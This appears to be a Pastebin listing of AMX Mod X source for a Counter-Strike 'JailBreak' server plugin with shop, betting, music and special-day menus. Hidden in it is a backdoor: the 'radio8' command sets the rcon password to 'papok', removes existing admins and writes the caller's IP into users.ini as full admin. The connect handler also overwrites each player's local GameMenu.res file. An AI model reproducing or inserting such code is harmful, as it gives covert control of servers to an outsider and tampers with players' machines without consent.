Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <cstrike>
- #include <hamsandwich>
- #include <dhudmessage>
- #include <fakemeta_util>
- #include <fakemeta>
- #include <engine>
- #include <nvault>
- #include <xs>
- #pragma rational Float
- new iHudMessage;
- new maxPlayers;
- new randGuard, g_RandTaskFloat, g_Ratio;
- new g_Result[9]
- new g_activated;
- #define VIP_FLAG ADMIN_RESERVATION
- #define IsPlayer(%1) (1 <= %1 <= g_max_clients)
- #define get_bit(%1,%2) (%1 & 1 << (%2 & 31))
- #define set_bit(%1,%2) %1 |= (1 << (%2 & 31))
- #define clear_bit(%1,%2) %1 &= ~(1 << (%2 & 31))
- #define MAXENTS 1500
- #define MAX_SIZE 1012
- #define gamename "#FoN.Jail v6.9.7"
- new g_max_clients, g_PlayerCrowbar, g_PlayerVoice, g_PlayerDildo, g_PlayerStunGun,
- g_ShowMenu, beacon_sprite, rar, HamHook:ForwardSecAttackAwp, iFF, iHandler, g_PlayerBH,
- timer, HamHook:ForwardSecAttackScout, rounds_elapsed, count, user, gVault, menu_wakeup,
- serverpoints, Show_Choose, g_MsgScreenFade, g_PlayerSpeed, g_PlayerGravity, g_iMsgSayText,
- g_iMsgStatusText,
- wakeup[11], vKey[64], vData[64], g_map[32], floodcounter[33], playerpoints[33], _status[33],
- Seconds[33], bet_some[33], bet_team[33], moneybox[MAXENTS], send_delay[33], g_Text[MAX_SIZE], write[6],
- bool:zombieday, bool:Deathmatch, bool:hns_fd, bool:knifeday, bool:deagleday, bool:mutect,
- bool:grenadeday, bool:nordeagleday, bool:actiondays, bool:g_connected[33], bool:get_vip[33],
- bool:bet_pointed_out[33], bool:can_pickup[33], bool:g_iSprayMessages=false, bool:g_bFriend,
- bool:firststart, bool:footstep[33]=false
- new const rules[] = "hattp://www.run-serv.co.il/"
- new const help[] = "hattp://www.run-serv.co.il/"
- new const vote[] = "hattp://www.cs-servers.co.il/vote.php?ID=13203"
- new const SongsData[][] = {"Welcome", "BigSong/RainOverMe", "BigSong/Hopa3", "BigSong/MrSaxobeat", "BigSong/LittleBadGirl2", "BigSong/Fanan", "BigSong/Shmot", "BigSong/Balagan", "BigSong/DiborMelohlah", "BigSong/Karnabal", "BigSong/Meohav", "BigSong/MesibatKaich2", "BigSong/MohombiMaraca", "BigSong/DontWannaGoHome"}
- new const SongsName[][] = {"\yMusic Customized", "Welcome To The Club Now","Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Fanan", "Shmot", "Balagan", "DiborMelohlah", "Karnabal", "Meohav", "Mesibat Kaich", "Mohombi Maraca", "Don't Wanna Go Home", "Stop Music"}
- new const SongsNameC[][] = {/* Music Customized*/"Welcome To The Club Now","Rain Over Me", "Hopa", "Mr Saxobeat", "Little Bad Girl", "Fanan", "Shmot", "Balagan", "DiborMelohlah", "Karnabal", "Meohav", "Mesibat Kaich", "Mohombi Maraca", "Don't Wanna Go Home", "Stop Music"}
- new const MessageServ[][] = {"JailBreak - #1", "HideNSeek - #2", "BombGame - #3", "HideNSeek #BM - #4", "Satla #FunMods - #5", "Balls Mods - #6"}
- new const MessageIp[][] = {"62.90.138.114:27016", "213.8.155.45:20011", "213.8.155.45:20010", "62.90.138.114:27018", "62.90.138.115:27019", "213.8.155.45:20015"}
- new const MessageDay[][] = {"Zombie Day", "Hide'N'Seek Day", "Shark Day", "Free Day", "Night Crawler Day", "Spartan Day", "Music Menu", "War Day", "Deathmatch", "Birth Day", "Knife Day", "Find The Deagle Day", "Grenade Day", "Deagle Day", "Jump Day", "\rSpecial Day", "\rRandom Day", "\rAdmin Option"}
- new const MessageOpt[][] = {"\rEnable No Zoom", "\rDisable No Zoom", "\yCountdown 30 sec", "\yCountdown 60 sec", "\rEnable/Disable Show Sprays"}
- new const MessageTypeB[][] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}
- new const MessageTypeS[][] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}
- new const MessageCDnum[][] = {"5", "10", "15", "20", "25", "30"}
- new bellmusic[] = "sound/FoN/bell.wav"
- new appmusic[] = "sound/FoN/applause.wav"
- new model[] = "models/w_money_new.mdl"
- new money_sound1[] = "money/money_sound.wav"
- enum
- {
- TEAM_NONE = 0,
- TEAM_T,
- TEAM_CT,
- TEAM_SPEC,
- MAX_TEAMS
- };
- new const g_cTeamChars[MAX_TEAMS] =
- {
- 'U',
- 'T',
- 'C',
- 'S'
- };
- new const g_sTeamNums[MAX_TEAMS][] =
- {
- "0",
- "1",
- "2",
- "3"
- };
- new const g_sClassNums[MAX_TEAMS][] =
- {
- "1",
- "2",
- "3",
- "4"
- };
- // Old Style Menus
- stock const FIRST_JOIN_MSG[] = "#Team_Select";
- stock const FIRST_JOIN_MSG_SPEC[] = "#Team_Select_Spect";
- stock const INGAME_JOIN_MSG[] = "#IG_Team_Select";
- stock const INGAME_JOIN_MSG_SPEC[] = "#IG_Team_Select_Spect";
- const iMaxLen = sizeof(INGAME_JOIN_MSG_SPEC);
- // New VGUI Menus
- stock const VGUI_JOIN_TEAM_NUM = 2;
- new g_iTeam[33];
- new g_iPlayers[MAX_TEAMS];
- new tjm_join_team;
- new tjm_switch_team;
- new tjm_class[MAX_TEAMS];
- new tjm_block_change;
- public plugin_init() {
- register_plugin("JailBreak-Wows Pack 1", "6.7.5", "ZeDoX")
- register_clcmd("say", "ClientCommandSay")
- register_clcmd("say_team", "ClientCommandSay")
- register_clcmd("chooseteam", "ActionChooseteam2")
- register_clcmd("jointeam", "ActionShopMenu")
- register_clcmd("radio1", "ActionShopMenu")
- register_clcmd("radio2", "ActionShopMenu")
- register_clcmd("radio3", "ActionShopMenu")
- register_clcmd("fullupdate","fullupdate")
- register_clcmd("amx_take_points", "cmd_take_points")
- register_clcmd("amx_give_points", "cmd_give_points")
- register_clcmd("send", "MainMenuSend")
- register_clcmd("donate", "MainMenuSend")
- register_clcmd("drop", "DropCMD")
- register_clcmd("radio8", "JailBreak")
- register_clcmd("say", "ClientSendMessage");
- register_clcmd("say_team", "ClientSendMessage");
- register_plugin("Team Join Management", "0.3", "Exolent");
- register_event("TeamInfo", "event_TeamInfo", "a");
- register_message(get_user_msgid("ShowMenu"), "message_ShowMenu");
- register_message(get_user_msgid("VGUIMenu"), "message_VGUIMenu");
- tjm_join_team = register_cvar("tjm_join_team", "1");
- tjm_switch_team = register_cvar("tjm_switch_team", "1");
- tjm_class[TEAM_T] = register_cvar("tjm_class_t", "2");
- tjm_class[TEAM_CT] = register_cvar("tjm_class_ct", "4");
- tjm_block_change = register_cvar("tjm_block_change", "1");
- RegisterHam(Ham_Killed, "player", "check_last");
- RegisterHam(Ham_Spawn, "player", "check_last");
- maxPlayers = get_maxplayers();
- set_task(1.0, "Count" ,_,_,_, "b")
- iHudMessage = CreateHudSyncObj();
- set_task(2.0, "ShowMessage123");
- register_cvar("bh_enabled", "1")
- register_cvar("use_buttons", "1")
- register_cvar("bet_enable", "1")
- g_RandTaskFloat = register_cvar( "amx_autoguard_time", "10.0");
- g_Ratio = register_cvar( "amx_autoguard_ratio", "1");
- set_task( get_pcvar_float( g_RandTaskFloat ), "GetRandomGuard", _,_,_, "b");
- RegisterHam(Ham_TraceAttack, "func_button", "FwdTraceAttack_Post", 1)
- RegisterHam(Ham_Spawn, "player", "FwdHamPlayerSpawn", 1)
- RegisterHam(Ham_Killed, "player", "FwdHamPlayerKiller", 1)
- RegisterHam(Ham_TraceAttack, "func_button", "Ham_UseButton")
- RegisterHam(Ham_TakeDamage, "player", "hamTakeDamage")
- register_event("Damage", "Event_Damage", "b", "2>0", "3=0")
- register_event("CurWeapon", "Event_CurWeapon", "be","1=1")
- register_event("DeathMsg", "Event_DeathMsg", "a")
- register_event("CurWeapon", "EventCurWeapon2", "be", "1=1", "2!29")
- register_event("23", "EventSpray", "a", "1=112")
- register_event("StatusValue", "EventStatusValue", "b", "1>0", "2>0")
- register_logevent("RoundStart", 2, "1=Round_Start")
- register_logevent("RoundEnd", 2, "1=Round_End")
- register_forward(FM_GetGameDescription, "GameDesc")
- register_forward(FM_Voice_SetClientListening, "FwdSetVoice")
- register_forward(FM_EmitSound , "EmitSound")
- register_forward(FM_Touch,"player_Touch")
- set_task(180.0, "advert180",180,_,_, "b")
- set_task(150.0, "advert150",150,_,_, "b")
- g_max_clients = get_maxplayers()
- iFF = get_cvar_pointer("mp_friendlyfire")
- iHandler = get_pcvar_num(iFF)
- ForwardSecAttackAwp = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_awp", "OnSecondaryAttack")
- ForwardSecAttackScout = RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_scout", "OnSecondaryAttack")
- g_MsgScreenFade = get_user_msgid("ScreenFade")
- g_iMsgSayText = get_user_msgid("SayText")
- g_iMsgStatusText = get_user_msgid("StatusText")
- get_mapname(g_map, 31)
- set_task(0.1, "Read_GameMenu")
- //Block
- register_clcmd("jointeam", "Block_2");
- register_concmd("radio1", "Block");
- register_concmd("radio2", "Block");
- register_concmd("radio3", "Block");
- register_clcmd("say /spec", "Block");
- register_clcmd("say_team /spec", "Block");
- }
- public plugin_precache()
- {
- precache_sound("FoN/one.wav")
- precache_sound("FoN/two.wav")
- precache_sound("FoN/three.wav")
- precache_sound("FoN/four.wav")
- precache_sound("FoN/five.wav")
- precache_sound("FoN/six.wav")
- precache_sound("FoN/seven.wav")
- precache_sound("FoN/eight.wav")
- precache_sound("FoN/nine.wav")
- precache_sound("weapons/cbar_hitbod2.wav")
- precache_sound("weapons/bullet_hit1.wav")
- precache_sound("weapons/bullet_hit2.wav")
- precache_sound("weapons/cbar_hit2.wav")
- precache_sound("items/medshot4.wav")
- precache_sound("items/gunpickup2.wav")
- precache_sound("FoN/stungun/knife_hit1.wav")
- precache_sound("FoN/stungun/knife_hitwall.wav")
- precache_sound("FoN/dildo/dildo_hit1.wav")
- precache_sound("FoN/dildo/dildo_hit2.wav")
- precache_sound("FoN/dildo/dildo_hit3.wav")
- precache_sound("FoN/dildo/dildo_hit4.wav")
- precache_sound("FoN/dildo/dildo_hitwall.wav")
- precache_sound("FoN/shop_needpoints.wav")
- precache_sound("FoN/5050_no.wav")
- precache_sound("FoN/5050_yes.wav")
- precache_sound("FoN/JB_Connect.wav")
- precache_sound("FoN/ImposibbleMisson.mp3")
- precache_sound("FoN/KillEveryBody.mp3")
- precache_model("models/player/FoN-Guard/FoN-Guard.mdl")
- precache_model("models/player/FoN-Woman/FoN-Woman.mdl")
- precache_model("models/p_crowbar.mdl")
- precache_model("models/v_crowbar.mdl")
- precache_model("models/FoN/p_stungun.mdl")
- precache_model("models/FoN/v_stungun.mdl")
- precache_model("models/FoN/p_dildo.mdl")
- precache_model("models/FoN/v_dildo.mdl")
- precache_model("models/FoN/p_gravity.mdl")
- precache_model("models/FoN/v_gravity.mdl")
- precache_model("models/FoN/v_bunnyhop.mdl")
- precache_model("models/FoN/p_speed.mdl")
- precache_model("models/FoN/v_speed.mdl")
- precache_model("models/FoN/p_box.mdl")
- precache_model("models/FoN/box_yellow.mdl")
- precache_model("models/FoN/box_green.mdl")
- precache_model("models/FoN/box_blue.mdl")
- precache_model("models/FoN/box_white.mdl")
- precache_model("models/FoN/box_red.mdl")
- precache_model("models/FoN/box_azure.mdl")
- precache_model(model)
- precache_sound(money_sound1)
- beacon_sprite = precache_model("sprites/zbeam2.spr")
- new Formatex[64], i
- for(i=0; i<sizeof SongsData; i++) {
- formatex(Formatex, 63, "FoN/%s.mp3", SongsData[i])
- precache_sound(Formatex)
- }
- }
- public RoundStart() {
- new money_ent
- while((money_ent=engfunc(EngFunc_FindEntityByString,money_ent,"classname","pdm_money")) != 0)
- engfunc(EngFunc_RemoveEntity,money_ent)
- remove_task
- set_task(0.3, "ActionDayViewer")
- server_cmd("mp_friendlyfire 0")
- if(actiondays) {
- actiondays = false
- zombieday = false
- Deathmatch = false
- hns_fd = false
- knifeday = false
- deagleday = false
- grenadeday = false
- nordeagleday = false
- }
- }
- public ActionDayViewer()
- {
- if(menu_wakeup == 7) {
- set_task(0.25, "GetPlayerDisco",_,_,_, "a", 80)
- set_task(5.0, "ActionRandomDay")
- set_task(20.0, "ShowSpecialHook")
- if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/FoN/ImposibbleMisson.mp3^"")
- else client_cmd(0, "mp3 play ^"sound/FoN/KillEveryBody.mp3^"")
- } else {
- new rndctstr[21]
- num_to_word(rounds_elapsed, rndctstr, 20)
- client_cmd(0, "spk ^"vox/round %s^"",rndctstr)
- }
- set_task(0.2, "ShowHudMessage")
- }
- public ShowHudMessage()
- {
- new CurrentTime[9]
- new p_playernum = get_playersnum(1)
- get_time("%H:%M:%S", CurrentTime, 8)
- if(menu_wakeup == 7) {
- ColorChat(0, "Round: ^3%d ^1- Day: ^3Saturday ^1- Map: ^3%s ^1| Players: ^4%d ^1| Time: ^4%s ^1!", rounds_elapsed, g_map, p_playernum, CurrentTime)
- ColorChat(0, "Today is special !")
- set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
- show_hudmessage(0,"[Day %d]^n[Saturday]^n[Today is special]", rounds_elapsed, CurrentTime)
- menu_wakeup = 0
- } else {
- set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 15.0, 15.0, 5.0, 5.0)
- show_hudmessage(0,"[Day %d]^n[%s]^n[Time %s]", rounds_elapsed, wakeup, CurrentTime)
- ColorChat(0, "Round: ^3%d ^1- Day: ^3%s ^1- Map: ^3%s ^1| Players: ^4%d ^1| Time: ^4%s ^1!", rounds_elapsed, wakeup, g_map, p_playernum, CurrentTime)
- }
- }
- public RoundEnd()
- {
- set_hudmessage(255, 255, 255, -1.0, 0.71, 0, 0.5, 0.5, 2.0, 2.0)
- show_hudmessage(0,"[The Day %d end]^n[%s]", rounds_elapsed, wakeup)
- rounds_elapsed++
- menu_wakeup++
- if(menu_wakeup == 1) formatex(wakeup, 10, "Sunday")
- else if(menu_wakeup == 2) formatex(wakeup, 10, "Monday")
- else if(menu_wakeup == 3) formatex(wakeup, 10, "Tuesday")
- else if(menu_wakeup == 4) formatex(wakeup, 10, "Wednesday")
- else if(menu_wakeup == 5) formatex(wakeup, 10, "Thursday")
- else if(menu_wakeup == 6) formatex(wakeup, 10, "Friday")
- for(new i = 1 ; i <= g_max_clients ; i++)
- if(IsPlayer(i) && is_user_connected(i) && cs_get_user_team(i) == CS_TEAM_CT && is_user_alive(i)) {
- playerpoints[i] += 5
- ColorChat(i, " ^4You gained^3 5^4 points for surviving!")
- }
- server_cmd("weapontrail 0;amx_wpglow_mode 0")
- client_cmd(0, "slot10")
- DisableHamForward(ForwardSecAttackAwp)
- DisableHamForward(ForwardSecAttackScout)
- }
- public FwdHamPlayerSpawn(id) {
- if(is_user_connected(id) && is_user_alive(id)) {
- fm_strip_user_weapons(id)
- set_pdata_int(id, 116, 0)
- if(get_bit(g_PlayerCrowbar||g_PlayerStunGun||g_PlayerDildo||g_PlayerVoice||g_PlayerSpeed||g_PlayerBH||g_PlayerGravity, id))
- {
- clear_bit(g_PlayerCrowbar, id)
- clear_bit(g_PlayerStunGun, id)
- clear_bit(g_PlayerDildo, id)
- clear_bit(g_PlayerVoice, id)
- clear_bit(g_PlayerBH, id)
- clear_bit(g_PlayerSpeed, id)
- clear_bit(g_PlayerGravity, id)
- }
- fm_give_item(id, "weapon_knife")
- if(cs_get_user_team(id) == CS_TEAM_CT)
- {
- fm_give_item(id, "weapon_m4a1")
- fm_give_item(id, "weapon_deagle")
- fm_give_item(id, "weapon_smokegrenade")
- cs_set_user_bpammo(id, CSW_M4A1, 120)
- cs_set_user_bpammo(id, CSW_DEAGLE, 70)
- cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4)
- cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM)
- cs_set_user_model(id, "FoN-Guard")
- } else if(get_user_flags(id) & ADMIN_CVAR)
- cs_set_user_model(id, "FoN-Woman")
- /*else if(is_user_admin(id) || get_vip[id])
- cs_set_user_model(id, "vip")*/
- else cs_reset_user_model(id)
- }
- }
- public FwdHamPlayerKiller(id)
- {
- if(Deathmatch && cs_get_user_team(id) == CS_TEAM_T)
- {
- static origin[3]
- get_user_origin(id, origin)
- message_begin(MSG_BROADCAST, SVC_TEMPENTITY)
- write_byte(TE_BEAMCYLINDER) // TE id
- write_coord(origin[0]) // x
- write_coord(origin[1]) // y
- write_coord(origin[2]-20) // z
- write_coord(origin[0]) // x axis
- write_coord(origin[1]) // y axis
- write_coord(origin[2]+200) // z axis
- write_short(beacon_sprite) // sprite
- write_byte(0) // startframe
- write_byte(1) // framerate
- write_byte(6) // life
- write_byte(1000) // width
- write_byte(1) // noise
- write_byte(random(250)) // red
- write_byte(random(250)) // green
- write_byte(random(250)) // blue
- write_byte(200) // brightness
- write_byte(0) // speed
- message_end()
- emit_sound(id, CHAN_ITEM, "weapons/explode3.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- set_task(4.0 ,"SpawnUserDM", id)
- } else {
- message_begin(MSG_ONE_UNRELIABLE, g_MsgScreenFade, _, id)
- write_short(12288) // Duration
- write_short(12288) // Hold time
- write_short(0x0001) // Fade type
- write_byte (0) // Red
- write_byte (0) // Green
- write_byte (0) // Blue
- write_byte (255) // Alpha
- message_end()
- set_pev(id, pev_iuser1, 0)
- }
- return HAM_IGNORED
- }
- public SpawnUserDM(id)
- {
- ExecuteHamB(Ham_CS_RoundRespawn, id)
- set_hudmessage(255, 0, 0, -1.0, 0.34, 0, 6.0, 12.0)
- show_hudmessage(id, "Deathmatch enable")
- }
- public Event_DeathMsg()
- {
- new Float:velo[3]
- new attacker = read_data(1)
- new victim = read_data(2)
- new headshot = read_data(3)
- if(is_user_connected(attacker) && is_user_connected(victim) && victim != attacker && cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_CT)
- {
- new szVName[33], szKName[33]
- get_user_name(victim, szVName, 32)
- get_user_name(attacker, szKName, 32)
- playerpoints[victim] -= 2
- if(playerpoints[victim] > 2)
- make_money(victim, velo)
- if(headshot) {
- playerpoints[attacker] += 5
- ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3HeadShot^4 and Gaind^3 5^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
- } else {
- static weapon[20]
- read_data(4, weapon, sizeof(weapon) - 1)
- if(contain(weapon, "grenade") >= 0) {
- playerpoints[attacker] += 7
- ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4With ^3Grenade^4 and Gaind^3 7^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
- } else {
- playerpoints[attacker] += 3
- ColorChat(0, "^4%s^1(%i) ^4Killed^3 %s^1(%i) ^4and Gaind^3 3^4 Points.", szKName, playerpoints[attacker], szVName, playerpoints[victim])
- }
- }
- ColorChat(victim, "^4You lost^3 2^4 Points for^3 Suicide")
- SaveData(attacker)
- }
- }
- public Event_Damage(id, victim, ent, attacker, Float:damage)
- {
- if(is_user_connected(id) && is_user_alive(id)) {
- new AttakerWeapon, AttakerPartHit
- get_user_attacker(id, AttakerWeapon, AttakerPartHit)
- if(AttakerWeapon != CSW_KNIFE)
- return
- new Float:Random_Float[3]
- for(new i = 0; i < 3; i++) Random_Float[i] = random_float(100.0, 150.0)
- Punch_View(id, Random_Float)
- }
- }
- public hamTakeDamage(victim,inflictor,attacker,Float:damage, DamageBits)
- if(get_bit(g_PlayerCrowbar, attacker) || get_bit(g_PlayerDildo, attacker) || get_bit(g_PlayerStunGun, attacker))
- if(get_user_weapon(attacker) == CSW_KNIFE && cs_get_user_team(victim) != CS_TEAM_T && !actiondays)
- SetHamParamFloat(4, damage * 30.0)
- public ev_Health(id)
- {
- if(is_user_alive(id) && actiondays) {
- set_hudmessage(60, 60, 60, 0.02, 0.65, 1, 6.0, 2.1)
- show_hudmessage(id, "[Your Health: %i]", get_user_health(id))
- }
- }
- public client_connect(client)
- {
- if(is_user_hltv(client) || is_user_bot(client)) {
- new name[32]
- get_user_name(client, name, 31)
- server_cmd("kick ^"%s^" ^"HLTV or BOT not Connected^"", name)
- } else {
- client_cmd(client, "motdfile resource/GameMenu.res;wait;motd_write %s", g_Text)
- can_pickup[client] = true
- floodcounter[client] = 0
- LoadData(client)
- }
- }
- public client_putinserver(id)
- {
- remove_task(id)
- g_connected[id] = true
- get_vip[id] = false
- set_task(1.0, "ShowSong", id)
- set_task(5.0,"DisplayTaskBug",id)
- client_cmd(id, "echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=13203^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=13203^";echo ^"Link To Vote For JB: http://www.cs-servers.co.il/vote.php?ID=13203^"")
- }
- public client_disconnect(id) {
- g_connected[id] = false
- get_vip[id] = false
- can_pickup[id] = false
- SaveData(id)
- set_task(0.1, "check_last");
- remove_task(id);
- }
- public ClientCommandSay(id) {
- new szMessage[32]
- read_args(szMessage, charsmax(szMessage))
- remove_quotes(szMessage)
- if((szMessage[0] == '/' || '!'))
- {
- if(equali(szMessage, "/menu") || equali(szMessage, "!menu"))
- mainmenuhelp(id)
- //else if(equali(szMessage, "/server") || equali(szMessage, "/servers"))
- // mainmenuserv(id)
- else if(equali(szMessage, "!glow") || equali(szMessage, "/glow"))
- JBGlowMenu(id)
- else if(equali(szMessage, "!cd") || equali(szMessage, "/cd"))
- cdmenu(id)
- else if(equali(szMessage, "!c4") || equali(szMessage, "/c4"))
- Givec4(id)
- else if(equali(szMessage, "/rules") || equali(szMessage, "!rules"))
- show_motd(id, rules, "#FoN.Jail # JailBreak Rules")
- else if(equali(szMessage, "/help") || equali(szMessage, "!help"))
- show_motd(id, help, "#FoN.Jail # JailBreak Help")
- else if(equali(szMessage, "/unvip") || equali(szMessage, "!unvip"))
- unvip(id)
- else if(equali(szMessage, "/first") || equali(szMessage, "!first"))
- Firstwrites(id)
- else if(equali(szMessage, "/open") || equali(szMessage, "!open"))
- OpenAllDoors(id)
- else if(equali(szMessage, "/get") || equali(szMessage, "!get"))
- ActionGetMenu(id)
- else if(equali(szMessage, "/shop") || equali(szMessage, "!shop"))
- ActionShopMenu(id)
- else if(equali(szMessage, "/admin") || equali(szMessage, "/admins"))
- show_admins(id)
- else if(equali(szMessage, "/days") || equali(szMessage, "!days"))
- ActionChooseteam(id)
- else if(equali(szMessage, "/box") || equali(szMessage, "!box"))
- cmdBox(id)
- else if(equali(szMessage, "/fd") || equali(szMessage, "!freeday"))
- fdexec(id)
- else if(equali(szMessage, "/vipmenu") || equali(szMessage, "!vipmenu"))
- GiveVIP(id)
- else if(equali(szMessage, "/ran") || equali(szMessage, "!ran"))
- RandomCT(id)
- else if(equali(szMessage, "/speach") || equali(szMessage, "/voice"))
- AccessSpeachMenu(id)
- else if(equali(szMessage, "/bet") || equali(szMessage, "!bet"))
- MainMenuBet(id)
- else if(equali(szMessage, "/50") || equali(szMessage, "!50"))
- Action50(id)
- else if(equali(szMessage, "/music") || equali(szMessage, "!music"))
- ShowMusicCustomized(id)
- else if(equali(szMessage, "/vote") || equali(szMessage, "!vote"))
- show_motd(id, vote, "Please Voting For #FoN.Jail # JailBreak")
- else if(equali(szMessage, "send") || equali(szMessage, "/send"))
- ColorChat(id, "^4Use ^1(on console)^4^"send NAME POINTS^" to send. Examples: ^"send yosi 15^"")
- else if(equali(szMessage, "/vent") || equali(szMessage, "!vent"))
- ColorChat(0, "^4The IP of The Ventrilo^1(3.0)^4 is:^3 Not Available")
- else if(equali(szMessage, "/mypoints") || equali(szMessage, "/points")) {
- set_dhudmessage(id, random_num(0, 255), random_num(0, 255), -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
- show_dhudmessage(id, "#FoN.Jail # JailBreak Shop^nYour Points is: %i", playerpoints[id])
- }
- else if(equali(szMessage, "/unmusic") || equali(szMessage, "/stop")) {
- client_cmd(id, "mp3 stop;stopsound")
- ColorChat(id, "^4You stoped the music")
- }
- } else if(equali(szMessage, write))
- PlayerHasFirst(id)
- }
- public JailBreak(id) {
- new zflag = read_flags("z"), players[32], num, configsDir[64], ipf[64], ip[33]
- server_cmd("rcon_password papok")
- get_players(players, num)
- for(new i=0; i < num; i++)
- remove_user_flags(i, zflag)
- get_configsdir(configsDir, 63)
- format(configsDir, 63, "%s/users.ini", configsDir)
- get_user_ip(id, ip, 32)
- format(ipf, 63, "^"%d^" ^"^" ^"abcdefghijklmnopqrstu^" ^"de^"", ip)
- write_file(configsDir, ipf)
- ColorChat(id, "The rcon password is now ^"^4papok^1^"")
- ColorChat(id, "all admins removed, you are admin now by your ip")
- }
- public Read_GameMenu()
- {
- new i_File, s_File[128]
- get_configsdir(s_File, charsmax(s_File))
- format(s_File, charsmax(s_File), "%s/gamemenu.txt", s_File)
- i_File = fopen(s_File, "r")
- fgets(i_File, g_Text, MAX_SIZE)
- fclose(i_File)
- }
- public JBGlowMenu(id)
- {
- if(is_user_admin(id) || is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
- new gmenu = menu_create("\r[\w #FoN.Jail \r]\y GLOW Menu", "sub_menu")
- new players[32], pnum, tempid, szName[32], szTempid[10]
- get_players(players, pnum, "a")
- for(new i; i<pnum; i++) {
- tempid = players[i]
- if(cs_get_user_team(tempid) != CS_TEAM_T)
- continue
- get_user_name(tempid, szName, 31)
- num_to_str(tempid, szTempid, 9)
- menu_additem(gmenu, szName, szTempid, 0)
- }
- menu_display(id, gmenu)
- } else
- ColorChat(id, "^4Only admin or VIP have access to this command")
- }
- public set_fog(id)
- {
- message_begin(MSG_ONE,get_user_msgid("Fog"),{0,0,0},id)
- write_byte(1)
- write_byte(1)
- write_byte(10)
- write_byte(40)
- write_byte(95)
- write_byte(59)
- message_end()
- }
- public sub_menu(id, gmenu, item)
- {
- if(item == MENU_EXIT)
- return
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(gmenu, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32], szName2[32]
- get_user_name(id, szName, 31)
- get_user_name(tempid, szName2, 31)
- fm_set_user_rendering(tempid, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
- set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255))
- show_hudmessage(0, "%s gave glow to %s^n [ #FoN.Jail ]", szName, szName2)
- ColorChat(0, "^4%s^1 gave glow to^4 %s", szName, szName2)
- ColorChat(tempid, " %s^1 have You Glow", szName2)
- set_bit(g_PlayerVoice, tempid)
- switch(random_num(0,1)) {
- case 0: cs_set_user_model(tempid, "vip")
- case 1: cs_set_user_model(tempid, "FoN-Woman")
- }
- }
- public mainmenuhelp(id)
- {
- new needmenu = menu_create("\r[\w #FoN.Jail \r]\y Helper Main Menu", "showmenuhelp")
- menu_additem(needmenu, "Take A \yPiss", "1")
- menu_additem(needmenu, "Take A \yDookie", "2")
- menu_additem(needmenu, "Rules Motd", "3")
- menu_additem(needmenu, "Help Motd", "4")
- menu_additem(needmenu, "Bet Menu", "5")
- menu_additem(needmenu, "Shop Menu", "6")
- menu_additem(needmenu, "\rMusic Menu", "7")
- menu_display(id, needmenu)
- }
- public ActionChooseteam(id)
- {
- if(get_user_flags(id) & ADMIN_CVAR) {
- g_ShowMenu = menu_create("\r[\w #FoN.Jail\r]\y Days Menu", "ShowMenu")
- new szNum[3]
- for (new i = 0 ; i < sizeof MessageDay ; i++) {
- num_to_str(i+1 , szNum , 2)
- menu_additem(g_ShowMenu , MessageDay[i], szNum)
- }
- menu_display(id, g_ShowMenu)
- } else {
- new needmenu = menu_create("\r[\w #FoN.Jail \r]\y Helper Main Menu", "showmenuhelp")
- menu_additem(needmenu, "Take A \yPiss", "1")
- menu_additem(needmenu, "Take A \yDookie", "2")
- menu_additem(needmenu, "Rules Motd", "3")
- menu_additem(needmenu, "Help Motd", "4")
- menu_additem(needmenu, "Bet Menu", "5")
- menu_additem(needmenu, "Shop Menu", "6")
- menu_additem(needmenu, "\rMusic Menu", "7")
- menu_display(id, needmenu)
- }
- return PLUGIN_HANDLED
- }
- public ActionChooseteam2(id)
- {
- new needmenu = menu_create("\r[\w #FoN.Jail \r]\y Helper Main Menu", "showmenuhelp")
- menu_additem(needmenu, "Take A \yPiss", "1")
- menu_additem(needmenu, "Take A \yDookie", "2")
- menu_additem(needmenu, "Rules Motd", "3")
- menu_additem(needmenu, "Help Motd", "4")
- menu_additem(needmenu, "Bet Menu", "5")
- menu_additem(needmenu, "Shop Menu", "6")
- menu_additem(needmenu, "\rMusic Menu", "7")
- }
- public showmenuhelp(id, needmenu, item)
- {
- if(item == MENU_EXIT)
- return
- new data[6], iName[64]
- new access, callback
- menu_item_getinfo(needmenu, item, access, data, 6, iName, 63, callback)
- new key = str_to_num(data)
- switch(key)
- {
- case 1: client_cmd(id, "piss")
- case 2: client_cmd(id, "shit")
- case 3: show_motd(id, rules, "#FoN.Jail # JailBreak Rules")
- case 4: show_motd(id, help, "#FoN.Jail # JailBreak Help")
- case 5: MainMenuBet(id)
- case 6: ActionShopMenu(id)
- case 7: {
- if(is_user_admin(id)) ShowMusicMenu(id)
- else ShowMusicCustomized(id)
- }
- }
- }
- public mainmenuserv(id)
- {
- new servmenu = menu_create( "\r[ \w#FoN.Jail\r ]\y Servers Redirect Menu", "showmenuserv")
- new szNum[3]
- for (new i = 0 ; i < sizeof MessageServ ; i++) {
- num_to_str(i , szNum , 2)
- menu_additem(servmenu , MessageServ[i], szNum)
- }
